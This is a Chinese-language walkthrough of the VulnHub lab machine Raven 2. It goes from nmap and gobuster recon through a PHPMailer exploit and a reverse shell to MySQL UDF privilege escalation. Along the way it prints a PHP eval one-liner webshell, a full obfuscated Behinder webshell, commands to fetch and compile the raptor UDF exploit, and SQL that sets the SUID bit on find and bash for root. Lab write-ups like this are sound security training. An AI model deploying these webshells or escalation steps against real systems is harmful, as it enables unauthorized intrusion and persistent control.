镜像下载:Raven: 2 ~ VulnHub
实验环境:kali:192.168.78.128
vulnhub镜像:192.168.78.133
1、kali查看本地ip地址,以便使用nmap扫描ip段存活主机
2、nmap扫描IP段,发现靶机的IP地址为192.168.78.133
4、访问http:192.168.78.133/
5、使用gobuster扫描目录,发现存在vendor目录,且发现靶机使用的是phpmailer
6、发现vendor
7、发现第一个flag,并且网站的路径为/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
8、发现phpmailer版本为5.2.16
9、去exp官网查询漏洞情况
网站为:https://www.exploit-db.com/
10、下载exp
#!/usr/bin/python
# -*- coding: utf-8 -*-
11、当访问shell的URL时,shell反弹到主机
12、查看目录
13、查询flag文件
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
14、cat wp-config.php,在配置文件中发现了mysql账号密码
15、写入一句话木马,使用蚁剑连接
echo '<?php eval(@$_POST['x']);?>' > 1.php
使用bash命令:python -c 'import pty;pty.spawn("/bin/bash")'
16、连接shell的时候遇到一个问题,哥斯拉可以连接成功,冰蝎连接失败,换个冰蝎的shell脚本才能连接,一句话木马只能使用哥斯拉和蚁剑连接。
选择冰蝎专用shell脚本
密码为x的webshell
<?php @error_reporting(0);session_start();$key="9dd4e461268c8034";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HnEIj=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$HnEIj=$t($HnEIj."");for($i=0;$i<strlen($HnEIj);$i++) { $new_key = $key[$i+1&15];$HnEIj[$i] = $HnEIj[$i] ^ $new_key;} }else{ $HnEIj=openssl_decrypt($HnEIj, "AES128", $key);}$arr=explode('|',$HnEIj);$func=$arr[0];$params=$arr[1];class G3Kp74P0{ public function __invoke($p) {@eval("/*Z947fQ9k4P*/".$p."");}}@call_user_func/*Z947fQ9k4P*/(new G3Kp74P0(),$params);?>
17、利用mysql数据库提权
(1)连接数据库
(2)发现数据库没开启外链,使用sql语句开启外链
(3)利用navict连接数据库,发现连接失败,怀疑防火墙禁止外链
(4)MDUT 2.0 数据库利用工具 https://github.com/SafeGroceryStore/MDUT
利用冰蝎内网穿透,内网mysql出来连接我
连接成功之后进行UDF提权
查看root目录下的文件,发现存在第四个flag
以下是两个手工提权的手法。分别是find、bash提权
18、利用exp手工提权,将find命令赋予suid权限,使用find的exec执行命令
(1)通过mysql账号密码,登录进入mysql,看看数据库的版本是否存在漏洞
(2)查看版本
(3)exp:
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit,我们在KALI上编译生成so文件
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
(4)将输出的1518.so上传到靶机的/tmp,进行提权,进入mysql数据库中导入
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
#配合使用find调用执行
touch dafei
find dafei –exec "whoami" \;
find dafei –exec "/bin/sh" \;
id
19、bash提权
(1)查看bash命令的目录
(2)mysql中导入脚本,新增/usr/lib/mysql/plugin/1518.so
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /bin/bash');